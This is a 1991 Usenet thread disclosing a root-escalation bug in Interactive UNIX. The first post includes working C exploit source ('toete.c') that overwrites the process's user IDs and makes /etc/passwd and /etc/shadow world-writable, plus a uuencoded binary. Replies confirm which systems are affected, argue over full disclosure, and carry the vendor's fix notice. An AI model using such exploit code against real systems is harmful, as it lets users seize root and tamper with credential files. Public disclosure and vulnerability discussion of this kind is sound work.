lumpi@dobag.in-berlin.de (Joern Lubkoll) (02/11/91)
It was a long process of thoughts about this, but now, after half
a year of disput with interactive, here it finally is:
--- jl
Hello you at Interactive Systems Coporation !
it seems that your very cute interactive unix System has a nice bug !
EVERYONE you has access to a shell and a compiler or an interactive
System at home (to upload binaries) CAN BECOME ROOT.
It seems that you programmers aren't able to programm the 386 protected
mode correct. It exists the possibillity to write protect segment and
pages... It would be very useful to write protect the internatl data-
structures whicht the system uses to store information about the user.
Offering the ability to write in these segments is just like offering
CIA - Identity cards per mail-order for everyone (SALE $5).
If you don't believe... try the litte program down there and you'll see !
I didn't believe it either but ... see yourself !
I expect bug-fixes immediatly or my money back for the interactive
system... VERY soon please !
I have had a lot of conversation with 'Intra Unix' in Germany and a
lot of people at 'ico.isc.com' about the problem. They just told
me this being a only a 'feature' not a bug !
Simply said, it is a bug in the coprocessor emulation code, which
will allow system without a co-cpu to be broken, just because some
programmers aren't able to allocate their own buffers :-)
If you have a co-cpu and Release >= 2.2 you may set the kernel tuneable
parameters UAREAUS and UAREARW to 0 to protect yourself.
Dobag does not have this problem, due to it being a 486 System, but
there will be a lot of systems without a co-cpu !
There is only one way to fix this problem: Phone Interactive or your
Distributor and get very angry !
Next follows toete.c, the program to kill any isc system not being
equipped with a co cpu.
--- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE
/* If you use Interactive Unix 2.2 uncomment the following line */
/* #define ISC22 */
#include <stdio.h>
#ifdef ISC22
#include <sys/limits.h>
#include <sys/unistd.h>
#else
#include <limits.h>
#include <unistd.h>
#endif
#include <sys/sysi86.h>
#include <sys/signal.h>
#include <sys/types.h>
#define ushort unsigned short
#define ulong unsigned long
#include <sys/fs/s5dir.h>
#include <sys/user.h>
main()
{
struct user *dumm;
/* 0xE0000000 is the virtual adress of the ublock for the current
running programm. */
dumm = (struct user *) 0xE0000000;
/* Here we are so kind to change our effective and real user id
to zero, which means, that we can do whatever we want... */
dumm-> u_uid = 0; /* A well programmed system has to give a
segmentation oder protection violation
error at this line. But don't expect
Interactive Unix to do so... */
dumm-> u_gid = 0;
dumm-> u_ruid = 0;
dumm-> u_rgid = 0;
/* What would be the first thing you want to do if you become root
on another system ? */
chmod ("/etc/passwd",(int) 0666);
chmod ("/etc/shadow",(int) 0666);
/* If you don't believe what I say, uncomment the following line: */
/* execl("/bin/sh","sh","-c","/bin/ls -l /etc/passwd",(char *) 0); */
}
--- END OF toete.c ---
For those, which won't believe, here is a uuencoded version of the
binary 'toete'.
table
!"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
begin 644 toete
M3 $$ *+Q%"< !P #P$+ 0 S ( #P" U - "<z
M T +G1E>'0 #0 T ,P" #0 ( "YDy
M871A G - )P#0 \ @ G , $ N8G-S x
M -@%0 #8!4 " +F-O;6UE;G0 w
M #8!0 ( ,.0D)"#[ B+[(M%"(U4A1")v
M%9P#0 !2C54,4E#HW____VH Z) "#Q 3H' (/$#%#H<P( &H N $ u
M ": < ],.0D)#K2\=%_ ."+1?QFQX#J$ "+1?QFQX#L$ t
M "+1?QFQX#N$ "+1?QFQX#P$ !HM@$ &B@ T Z P "#Q C)s
MPU6+[%#KKY"X#P )H !P /@NX! SP,.0D)!5B^R![(0" !75K[_r
M____@WT( '4Q:+0%0 #HP %F%P(E%"'0)BT4(B@"$P'46@#VP!4 '0&q
M,\!>7\G#QT4(O05 ,8%L 5 !HPP5 (U%@%#H6 $ (/$"/]U"(U%CE#Hp
M20$ (/$"&H C46 4.@3 0 @\0(A<"+^'P^: (" "-A7[]__]05^@, 0 o
M@\0,/0(" !U&V@" @ C85^_?__4&BL T Z+0 "#Q PS]E?H"0 %F+n
MQEY?R<.0D+@& F@ ' ^"#@$ #/ PY"0D%6+[%=64XM]"(L=G - m
M (7;=24SP%M>7\G#D)#_,X/#!%?H&0 (/$"(7 B_!T"(O&6UY?R<.0@SL l
M==_KU)!5B^Q75HM]"(MU#.L.D)"0#[X'1ST] =!P/O@</OA9&.\)TZHH'k
MA,!U% ^^1O\]/0 '4)B\9>7\G#D)"0,\!>7\G#D)!75HM\) R+="00BTPDj
M%(O'B]'!Z0+SI8O*@>$# \Z1>7\.X!0 )H !P /@DH ##D+@#i
M F@ ' ^"-@ ,.05XO6BWPD##/ N?_____RKO?1BW0D#(M\) B+h
MP<'I O.EB\B!X0, #SI(M$) B+\E_#D*/4!4 N/_____#D.@7 BU0Dg
M!+@! F@ ' ^"V?___\/#D)"0 "]E=&,O<&%S<W=D @(" @f
M(" @(" H*"@H*" @(" @(" @(" @(" @(" @($@0$! 0$! 0$! 0$! 0$!"$e
MA(2$A(2$A(2$$! 0$! 0$(&!@8&!@0$! 0$! 0$! 0$! 0$! 0$! 0$!$! 0d
M$! 0@H*"@H*" @(" @(" @(" @(" @(" @(" @(0$! 0( c
M b
M a
M ! @,$!08'" D*"PP-#@\0z
M$1(3%!46%Q@9&AL<'1X?("$B(R0E)B<H*2HK+"TN+S Q,C,T-38W.#DZ.SP]y
M/C] 86)C9&5F9VAI:FML;6YO<'%R<W1U=G=X>7I;7%U>7V!!0D-$149'2$E*x
M2TQ-3D]045)35%565UA96GM\?7Y_ w
M v
M u
M $ !#2%)#3$%34P!A<V-I:0 O;&EB+V-H<F-Lt
+87-S+P s
r
end
--- END ---
JUST HAVE FUN !
mfg. JL
--
lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything."john@jwt.UUCP (John Temples) (02/12/91)
In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >it seems that your very cute interactive unix System has a nice bug ! Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 *with* a coprocessor. It failed on Microport 2.2 with a coprocessor. Now, the question is, what do we do to protect ourselves in the meantime? -- John W. Temples -- john@jwt.UUCP (uunet!jwt!john)
sef@kithrup.COM (Sean Eric Fagan) (02/12/91)
In article <1991Feb11.184130.11321@jwt.UUCP> john@jwt.UUCP (John Temples) writes: >Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 >*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. >Now, the question is, what do we do to protect ourselves in the meantime? Get SCO. It does not have this "feature," and still manages to support Weitek coprocessors (the coprocessor the original poster was referring to, I believe). (The Weitek's use memory for registers and, obviously, need to be able to write them. The weitek registers are stuck in the upage, and happen, in apparantly every 3.2 save SCO's, to be in the same page as the uid stuff. *Bad*. *Very* bad.) -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
jpp@specialix.co.uk (John Pettitt) (02/12/91)
lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >It was a long process of thoughts about this, but now, after half >a year of disput with interactive, here it finally is: >--- jl We have confirmed that this does indeed work on ISC 2.2 and that SCO unix does `the right thing' (tm) and core dumps the application. Maybe we should be saying nice things about SCO's security stuff after all ! -- John Pettitt, Specialix International, Email: jpp@specialix.com Tel +44 (0) 9323 54254 Fax +44 (0) 9323 52781 Disclaimer: Me, say that ? Never, it's a forged posting !
lumpi@dobag.in-berlin.de (Joern Lubkoll) (02/12/91)
john@jwt.UUCP (John Temples) writes: >In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >>it seems that your very cute interactive unix System has a nice bug ! >Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 >*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. It even works on 2.2 with a coprocessor ! You have to set the Kernel Tuneable Parameters UAREAUS and UAREARW to 0 to protect you u-block ! If Esix dows have such parameters, please try them and report me the experiences. 2.02 is unprotectable ! a 2.2 System without a co-cpu is also unprotect- able ! >Now, the question is, what do we do to protect ourselves in the meantime? That is the problem which made me think half a year before posting it ! The time until the bug-fix arrives will be short I hope, or Interactive has a problem ! jl -- lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything."
rot@unlisys.in-berlin.de (Robert Rothe) (02/12/91)
lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >It was a long process of thoughts about this, but now, after half >a year of disput with interactive, here it finally is: well done. hope this helps ! robert. -- Unlisys, Hohenzollerndamm 7, 1000 Berlin 31 --- Robert Rothe unido!fub!unlisys!rot, rot@unlisys.in-berlin.de, 030 / 88 22 980 * Ein Krieg ist um nichts besser als ein gewoehnlicher Mord *
weave@chopin.udel.edu (Ken Weaverling) (02/13/91)
My God, it also worked on my AT&T Sysv/386 3.1 ... with a 80387....
Time to give my vendor a call. I'm not going to be able to sleep nights now.
--
>>>---> Ken Weaverling >>>----> weave@brahms.udel.eduwengland@stephsf.stephsf.com (Bill England) (02/13/91)
The program crashes with a memory falt on SCO ODT 1.0 on a system with an fpu. I have serious reservations about this kind of post. While as an system administrator system I want to know, at the same time it is similar to giving handguns to a bunch of street thugs. The only way to protect ourselves, for now, is that those who have read the posting should inform their system administrators that the bug exists and the system admins can ask (Tell) everyone to not do it. -- +- Bill England, wengland@stephsf.COM -----------------------------------+ | * * H -> He +24Mev | | * * * ... Oooo, we're having so much fun making itty bitty suns * | |__ * * ___________________________________________________________________|
kdenning@pcserver2.naitc.com (Karl Denninger) (02/13/91)
In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >It was a long process of thoughts about this, but now, after half >a year of disput with interactive, here it finally is: > >--- jl > >Hello you at Interactive Systems Coporation ! > >it seems that your very cute interactive unix System has a nice bug ! > >EVERYONE you has access to a shell and a compiler or an interactive >System at home (to upload binaries) CAN BECOME ROOT. .... details deleted. I have confirmed this here...... It is a VERY nasty bug. I highly suggest that all of you out there who have ISC complain immediately to Interactive AND Kodak. All of the systems here on ISC have coprocessors, so the bug can be worked around. Those of you without coprocessors are hosed, folks. Yes, you too can really become root in a few minutes..... Needless to say, I am most disappointed with ISC on this one. I am even more disappointed with the apparent fact that they seem to have known about this for quite some time, and ignored it. Well, now it can't be ignored. -- Karl Denninger - AC Nielsen, Bannockburn IL (708) 317-3285 kdenning@nis.naitc.com "The most dangerous command on any computer is the carriage return." Disclaimer: The opinions here are solely mine and may or may not reflect those of the company.
lumpi@dobag.in-berlin.de (Joern Lubkoll) (02/13/91)
sef@kithrup.COM (Sean Eric Fagan) writes: >In article <1991Feb11.184130.11321@jwt.UUCP> john@jwt.UUCP (John Temples) writes: >>Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 >>*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. >>Now, the question is, what do we do to protect ourselves in the meantime? >Get SCO. It does not have this "feature," and still manages to support >Weitek coprocessors (the coprocessor the original poster was referring to, I >believe). (The Weitek's use memory for registers and, obviously, need to be >able to write them. The weitek registers are stuck in the upage, and >happen, in apparantly every 3.2 save SCO's, to be in the same page as the >uid stuff. *Bad*. *Very* bad.) The problem in interactive is not weitek dependend, it is a problem with the coprocessor emulator, if there is no coprocessor present ! I never tried toete.c having a weitek coprocessor, due to dobag being an 486 without an weitek. I would be interested in any note about it. mfg. JL -- lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything."
lumpi@dobag.in-berlin.de (Joern Lubkoll) (02/13/91)
jtc@motcad.portal.com (J.T. Conklin) writes: >In article <1991Feb11.184130.11321@jwt.UUCP> john@jwt.UUCP (John Temples) writes: >>In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >>>it seems that your very cute interactive unix System has a nice bug ! >> >>Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 >>*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. >> >>Now, the question is, what do we do to protect ourselves in the meantime? >If I remember correctly, Sun Microsystems sent out a fixed version of >sendmail to its customer base free of charge the week after the Internet >Worm Attack. I see no reason why we should expect less from the i386 >UNIX vendors. In my opinion, any vendor that doesn't respond to this >problem with the attention it is due, doesn't deserve to be in business. so mote it be ... says me :-) jl -- lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything."
lumpi@dobag.in-berlin.de (Joern Lubkoll) (02/13/91)
marc@jahangir.UUCP (Marc Rossner) writes: >> In article <1991Feb11.184130.11321@jwt.UUCP> john@jwt.UUCP (John Temples) writes: >> >Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 >> >*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. >> >Now, the question is, what do we do to protect ourselves in the meantime? >Works like a charm on ISC 2.2 with a 486 -- good thing the only people >over here that read this newsgroup already know the root password. >"Feature", indeed! Hope ISC hears a lot about this, if anyone can ever >get past the 15 minutes it takes their telephone guy to locate you in his >files before he'll let you discuss anything real. Set UAREAUS and UAREARW to zero and it won't work any more ! But this works onlu on ISC 2.2 and not on 2.02. No 2.02 system can be protected ! jl -- lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything."
pax@megasys.com (Garry M. Paxinos) (02/13/91)
In article <5A5NGEK@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes:
The problem in interactive is not weitek dependend, it is a problem with
the coprocessor emulator, if there is no coprocessor present !
I never tried toete.c having a weitek coprocessor, due to dobag being
an 486 without an weitek.
I would be interested in any note about it.
Tote is a perfect security breach on my '386 with a weitek...
It's going to be very interesting to see how fast ISC responds to this
now...
pax
--
E-Mail:pax@megasys.com pax@ankh.ftl.fl.us gmp@pinet.aip.org
USNail:Megasystems, Inc. 2055 South Congress Ave, Delray Beach, FL 33445
UUCP :{gatech!uflorida!novavax!ankh, mthvax, shark, attmail}!megasys!pax
Voice :407-243-2405 Data: 407-243-2407 Fax: 407-243-2408 Telex: 156281499
"This is America, Right?!?!?" member of 2 Live Crewchris@alderan.uucp (Christoph Splittgerber) (02/13/91)
In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >it seems that your very cute interactive unix System has a nice bug ! Oh my god - its really true. (on my ISC 2.0.2 *with* co-proc.) While we've all been discussing security holes in the file-system and talked about SUID and SGID and all that stuff there is a way to break everything and it's so goddam easy that it's hard to believe it. It's not a security hole, it's a SECURITY ABYSS. I don't like ISC's upgrate provision clauses and I don't wana pay for this bugfix. So what to do now ? ..... -:( -:( -:( Hey you people at ISC, what's up ? -- ************************ Brain fault (core dumped) ************************* Replies-To: chris@alderan.uucp UUCP: uunet!mcsun!unido!alderan!chris Phone: +49 711 344375 Fax: +49 711 3460684
tim@dell.co.uk (Tim Wright) (02/13/91)
In <1991Feb12.020625.6779@kithrup.COM> sef@kithrup.COM (Sean Eric Fagan) writes: >In article <1991Feb11.184130.11321@jwt.UUCP> john@jwt.UUCP (John Temples) writes: >>Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 >>*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. >>Now, the question is, what do we do to protect ourselves in the meantime? >Get SCO. It does not have this "feature," and still manages to support >Weitek coprocessors (the coprocessor the original poster was referring to, I >believe). (The Weitek's use memory for registers and, obviously, need to be >able to write them. The weitek registers are stuck in the upage, and >happen, in apparantly every 3.2 save SCO's, to be in the same page as the >uid stuff. *Bad*. *Very* bad.) Not entirely true. This program fails on Dell UNIX (ISC 2.0.2-derived), with or without a '387. Segmentation Violation - core dumped. 'Dunno about the weitek - I don't use F**tran unless forced :-) Tim -- Tim Wright, Dell Computer Corp. (UK) | Email address Bracknell, Berkshire, RG12 1RW | Domain: tim@dell.co.uk Tel: +44-344-860456 | Uucp: ...!ukc!delluk!tim "What's the problem? You've got an IQ of six thousand, haven't you?"
lumpi@dobag.in-berlin.de (Joern Lubkoll) (02/13/91)
kdenning@pcserver2.naitc.com (Karl Denninger) writes: >In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >>It was a long process of thoughts about this, but now, after half >>a year of disput with interactive, here it finally is: >> >>--- jl >> >>Hello you at Interactive Systems Coporation ! >> >>it seems that your very cute interactive unix System has a nice bug ! >> >>EVERYONE you has access to a shell and a compiler or an interactive >>System at home (to upload binaries) CAN BECOME ROOT. >.... details deleted. >Needless to say, I am most disappointed with ISC on this one. I am even >more disappointed with the apparent fact that they seem to have known about >this for quite some time, and ignored it. >Well, now it can't be ignored. That was my hope in posting this. I'm going to fax it to the mayor unix magazines in the world, just to make the effect a little harder to ignore for ISC. I think there will be a bug fix very soon :-) jl -- lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything."
debra@wsinfo11.info.win.tue.nl (Paul de Bra) (02/13/91)
In article <1991Feb11.184130.11321@jwt.UUCP> john@jwt.UUCP (John Temples) writes: >In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >>it seems that your very cute interactive unix System has a nice bug ! >Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 >*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. >... This (and other postings) suggests that the problem would be found in the more generic sVr3.2 from AT&T. However, I tried AT&T sVr3.2 (version 2.1) on a machine (with coprocessor) and got a memory fault. So it looks like somehow the same bug ended up in ESIX and ISC (and AT&T sVr3.1?) but not in AT&T sVr3.2.1 or SCO. Paul. (debra@research.att.com, debra@win.tue.nl)
chip@tct.uucp (Chip Salzenberg) (02/13/91)
According to jpp@specialix.co.uk (John Pettitt): >We have confirmed that this does indeed work on ISC 2.2 and that SCO >unix does `the right thing' (tm) and core dumps the application. It is good to see that SCO's engineers, unlike those at ISC and Everex, have an effective grasp on the basic principles of memory protection covered in the first semester of OS design class. Forgive me if I react, not by congratulating SCO, but by dropping my jaw in mind-boggled astonishment that such a huge, gaping, obvious, you-can-drive-a-truck-through-it security hole was ever released by ISC or Everex in a beta, much less sold to customers in version after version after version. >Maybe we should be saying nice things about SCO's security stuff >after all ! I'm sorry, but SCO C2 security is still a botch. -- Chip Salzenberg at Teltronics/TCT <chip@tct.uucp>, <uunet!pdn!tct!chip> "I want to mention that my opinions whether real or not are MY opinions." -- the inevitable William "Billy" Steinmetz
norm@cfctech.cfc.com (Norman J. Meluch) (02/14/91)
weave@chopin.udel.edu (Ken Weaverling) writes: >My God, it also worked on my AT&T Sysv/386 3.1 ... with a 80387.... Well that uuencoded program failed (Memory Fault) on my AT&T Sys V/386 3.2.1. However, I have no compiler to try the source. Anyone else try it? - Norm. -- |~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Norman J. Meluch ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| | Mail: norm@cfctech.cfc.com Fax:(313)948-4975 Voice:(313)948-4809 | | Note: The opinions expressed here are in no way to be confused with valid | |_______ideas or corporate policy.____________________________________________|
rhealey@digibd.com (Rob Healey) (02/14/91)
In article <1991Feb12.052336.29639@motcad.portal.com> jtc@motcad.portal.com (J.T. Conklin) writes: >>Now, the question is, what do we do to protect ourselves in the meantime? >If I remember correctly, Sun Microsystems sent out a fixed version of >sendmail to its customer base free of charge the week after the Internet >Worm Attack. I see no reason why we should expect less from the i386 >UNIX vendors. In my opinion, any vendor that doesn't respond to this >problem with the attention it is due, doesn't deserve to be in business. > I'd consider extending this to any vendor that didn't catch this BEFORE the system was shipped doesn't deserve to be in business. HOW can the QA dept. of ANY UNIX system miss a bug of this magnitude? After all, they should have had unexplained system panics when the test that scribbles over all of a USER mode virtual address space to check MMU problems scribbles all over the ublock... ANY user mode process can go wild, scribble in the higher area of it's VM space, wipe out the ublock and it's bye-bye UNIX... Panic: OS vendor irresponsibility syncing disks... (glug, glug, glug) B^(. -Rob Speaking for self, not company.
bekesy@uhccux.uhcc.Hawaii.Edu (Bekesey Lab) (02/14/91)
>>Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 >>*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. >>Now, the question is, what do we do to protect ourselves in the meantime? > >Get SCO. [...] Please keep your mindless SCO chauvinism to yourself.
sef@kithrup.COM (Sean Eric Fagan) (02/14/91)
In article <1739@svin02.info.win.tue.nl> debra@info.win.tue.nl writes: >This (and other postings) suggests that the problem would be found >in the more generic sVr3.2 from AT&T. It was. Note that it was in the *original* release of 3.2 for the '386. >So it looks like somehow the same bug ended up in ESIX and ISC >(and AT&T sVr3.1?) but not in AT&T sVr3.2.1 or SCO. SCO noticed it and fixed it for their release of 3.2.0; ISC, ESIX, and others apparantly didn't notice it until later, if at all. -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
peter@ficc.ferranti.com (Peter da Silva) (02/14/91)
In article <1991Feb11.184130.11321@jwt.UUCP> john@jwt.UUCP (John Temples) writes: > In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: > >it seems that your very cute interactive unix System has a nice bug ! > Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 > *with* a coprocessor. It failed on Microport 2.2 with a coprocessor. It fails on Intel System V/386 rev 3.2u. Now I'm *really* bummed out about them fobbing us off on Interactive. -- Peter da Silva. `-_-' peter@ferranti.com +1 713 274 5180. 'U` "Have you hugged your wolf today?"
src@scuzzy.in-berlin.de (Heiko Blume) (02/14/91)
sef@kithrup.COM (Sean Eric Fagan) writes: >Get SCO. It does not have this "feature," and still manages to support >Weitek coprocessors (the coprocessor the original poster was referring to, I >believe). (The Weitek's use memory for registers and, obviously, need to be >able to write them. The weitek registers are stuck in the upage, and >happen, in apparantly every 3.2 save SCO's, to be in the same page as the >uid stuff. *Bad*. *Very* bad.) there's no problem with ISC if you have any co-processor. the problem is the floating point emulation that runs in user space and needs to write the u area. i hope ISC will send me a 'bug fix' in the form of a 33MHz 80387 :-) -- Heiko Blume <-+-> src@scuzzy.in-berlin.de <-+-> (+49 30) 691 88 93 public source archive [HST V.42bis]: scuzzy Any ACU,f 38400 6919520 gin:--gin: nuucp sword: nuucp uucp scuzzy!/src/README /your/home
src@scuzzy.in-berlin.de (Heiko Blume) (02/14/91)
jtc@motcad.portal.com (J.T. Conklin) writes: >In article <1991Feb11.184130.11321@jwt.UUCP> john@jwt.UUCP (John Temples) writes: >>Now, the question is, what do we do to protect ourselves in the meantime? >If I remember correctly, Sun Microsystems sent out a fixed version of >sendmail to its customer base free of charge the week after the Internet >Worm Attack. I see no reason why we should expect less from the i386 >UNIX vendors. In my opinion, any vendor that doesn't respond to this >problem with the attention it is due, doesn't deserve to be in business. especially considering the fact that they tell you (implicitly) in the release notes that there is THE security problem in all 2.0.2 systems and how to fix it in 2.2, only that they didn't mention that you need a math co for it to work. the WORST feature ever! -- Heiko Blume <-+-> src@scuzzy.in-berlin.de <-+-> (+49 30) 691 88 93 public source archive [HST V.42bis]: scuzzy Any ACU,f 38400 6919520 gin:--gin: nuucp sword: nuucp uucp scuzzy!/src/README /your/home
src@scuzzy.in-berlin.de (Heiko Blume) (02/14/91)
wengland@stephsf.stephsf.com (Bill England) writes: > I have serious reservations about this kind of post. While as an > system administrator system I want to know, at the same time it > is similar to giving handguns to a bunch of street thugs. anyone who can read the release notes for ISC 2.2 can find out on page 10 or so.....they published the bug themselves!! > The only way to protect ourselves, for now, is that those who have > read the posting should inform their system administrators that the > bug exists and the system admins can ask (Tell) everyone to not do > it. not exactly, for public access to my source archive i've set up a chroot() user that can't write anywhere, unhackable :-) -- Heiko Blume <-+-> src@scuzzy.in-berlin.de <-+-> (+49 30) 691 88 93 public source archive [HST V.42bis]: scuzzy Any ACU,f 38400 6919520 gin:--gin: nuucp sword: nuucp uucp scuzzy!/src/README /your/home
jgd@Dixie.Com (John G. DeArmond) (02/14/91)
wengland@stephsf.stephsf.com (Bill England) writes: > I have serious reservations about this kind of post. While as an > system administrator system I want to know, at the same time it > is similar to giving handguns to a bunch of street thugs. > The only way to protect ourselves, for now, is that those who have > read the posting should inform their system administrators that the > bug exists and the system admins can ask (Tell) everyone to not do > it. Actually, I was thinking quite the opposite. This little experience is the shining example of why security-by-obscurity does NOT work and why ALL security holes should be reported widely. Look at what happened: Our friend at dobag tried for over 6 months to quietly work with ISC and get the bug fixed. Aside from his getting the usual it's-not-a-bug- its-a-feature runaround, consider what would have happened if ISC HAD addressed the problem when he originally reported it. They'd have most likely packaged the fix - if they could have managed to get it right (shades of the inode bug) - in their next "upgrade" for which a hefty fee would be charged and which those who don't pay the support extortion would not know about. This fix might have come out in 6 months or it might have taken a year or who knows. But suppose they'd fixed it correctly and responded with free fixes to every owner. The owners of other brands of V3 would have remained just as exposed. Even if the cumbersome CERT mechanism had lumbered into action, it would have still been months before fixes got implemented with other vendors and still longer before they hit the streets. And with the fanatical obsession with secrecy and obscurity among the CERT-types, none of us would have known exactly what "security chasm" had been filled. As this event traspired, in less than 2 days, all the common Unixes had been tested, the test results posted here, workarounds developed (so you have to buy a 387 - big deal if you system really needs the security) and last but not least, we now most likely have people poking around looking for related problems. (Everybody so hacking raise your hands now.. Hmm, yep, thought so :-) As the system owner and administrator, I got to exactly evaluate the risk and decide what to do about it. Since I chose long ago not to rely on permissions to protect sensitive data files, all such information is stored encrypted. I can therefore decide not to spin in place and lose sleep over the problem. I say "THANK YOU" to all the people involved. The system of free flowing information work again. John -- John De Armond, WD4OQC | "Purveyors of speed to the Trade" (tm) Rapid Deployment System, Inc. | Home of the Nidgets (tm) Marietta, Ga | {emory,uunet}!rsiatl!jgd |"Politically InCorrect.. And damn proud of it
(Uri Blumenthal) (02/14/91)
In article <5A5NKHK@dobag.in-berlin.de>, lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: |> >>>it seems that your very cute interactive unix System has a nice bug ! |> >> |> >>Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 |> >>*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. It works perfectly well on ESIX Rev.D with co-processor. With amazing speed (:-). -- Regards, Uri Blumenthal uri@ibm.com, uunet!angmar!uri ====================================================== <Disclaimer>
sef@kithrup.COM (Sean Eric Fagan) (02/14/91)
In article <11450@uhccux.uhcc.Hawaii.Edu> bekesy@uhccux.uhcc.Hawaii.Edu (Bekesey Lab) writes: >>>Now, the question is, what do we do to protect ourselves in the meantime? >>Get SCO. [...] >Please keep your mindless SCO chauvinism to yourself. Gee, that's funny. When people complain all about SCO's problems, and other people respond with "Get ISC or ESIX," I don't see you complaining about that. -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
martys@mchale.ism.isc.com (Marty Stewart) (02/14/91)
The recent reports of a security hole in AT&T UNIX System V/386 Release 3.2, and in the INTERACTIVE UNIX Operating System which is based upon it, are accurate. Users with a math coprocessor and INTERACTIVE Version 2.2 or later of the INTERACTIVE UNIX Operating System should read the INTERACTIVE UNIX System Release Notes, page 10, first bullet item for the workaround. For all other users, INTERACTIVE Systems Corp. will provide a comprehensive fix to the problem. It will be provided as an update (bug-fix) diskette to users of 386/ix Version 2.0.2, INTERACTIVE UNIX Version 2.2.1, and the C2 Security Extension. For Version 2.2 users without a math coprocessor, call into Warranty support, (213) 453-8649 and ask for the free upgrade to Version 2.2.1 as well as the 2.2.1 security-hole bug-fix diskette. As with all INTERACTIVE bug-fix diskettes, it will be available free of charge through the Support department. The anticipated availability date of the bug-fix is February 22nd. Marty C. Stewart Support Team Leader Interactive Systems Corp.
bill@ssbn.WLK.COM (Bill Kennedy) (02/14/91)
In article <483@stephsf.stephsf.com> wengland@stephsf.stephsf.com (Bill England) writes: > > The program crashes with a memory falt on SCO ODT 1.0 on a system > with an fpu. That's good to know. I've not had a whole lot of complimentary things to say about ODT, this is important enough to remember. > I have serious reservations about this kind of post. While as an > system administrator system I want to know, at the same time it > is similar to giving handguns to a bunch of street thugs. No, I completely disagree. The street thugs already had the handguns and they were already pointed at our heads, this just gave us fair warning so that we could defend ourselves. I read the article with mixed emotions because I took a rather extreme defense. I have an NCR Tower who has custody of all connections to the outside world and all user access other than a couple of people that I can go strangle if they betray me. That is *very* extreme, but I have been successfully attacked and vandalized so my paranoia has some basis. I think the post was completely correct and proper because he made it clear that he had notified ISC and they had either stonewalled or ignored him. I would prefer to believe that ISC didn't know about the hole but my personal opinion is that they knew and shipped anyway. > The only way to protect ourselves, for now, is that those who have > read the posting should inform their system administrators that the > bug exists and the system admins can ask (Tell) everyone to not do > it. I would take it a step farther. I would delete or inactivate any user account that you do not know and trust. That can be a touchy situation sometimes but necessary if you place any value on the security of your system and its contents. I think that you must presume that someone will get mischievious and take a joy ride. Even experts can bruise the foliage in a high speed chase. >-- > +- Bill England, wengland@stephsf.COM -----------------------------------+ > | * * H -> He +24Mev | > | * * * ... Oooo, we're having so much fun making itty bitty suns * | > |__ * * ___________________________________________________________________| I'm rather surprised at how calm and quiet everyone is about this. For the purpose of making my point I'll ASSume that Interactive knew about this and didn't tell anyone. I have no such evidence but it illustrates my point. Your (and my) UNIX vendor shipped an operating system that they _knew_ had a huge gaping security hole in it. They took your money and exposed you to Lord knows what. Now, after (if we're to believe the original article and I do) several days, there's no confirmation or denial from Interactive and no howls of outrage from those standing in the wind with their bathrobes at half mast. I guess that this confirms what I believe was their opinion in the first place, who cares? Well damn it! I care! Maybe I care too much and have a gatekeeper to keep joy riders out, but I think that each and every one of you should care and should care more than I do. On the other hand, maybe we are just hobby players, maybe these systems are toys, don't produce any meaningful work, cost $$ within discretionary budgets, or we're just amateurs who don't understand the consequences of a rogue with root permissions. -- Bill Kennedy usenet 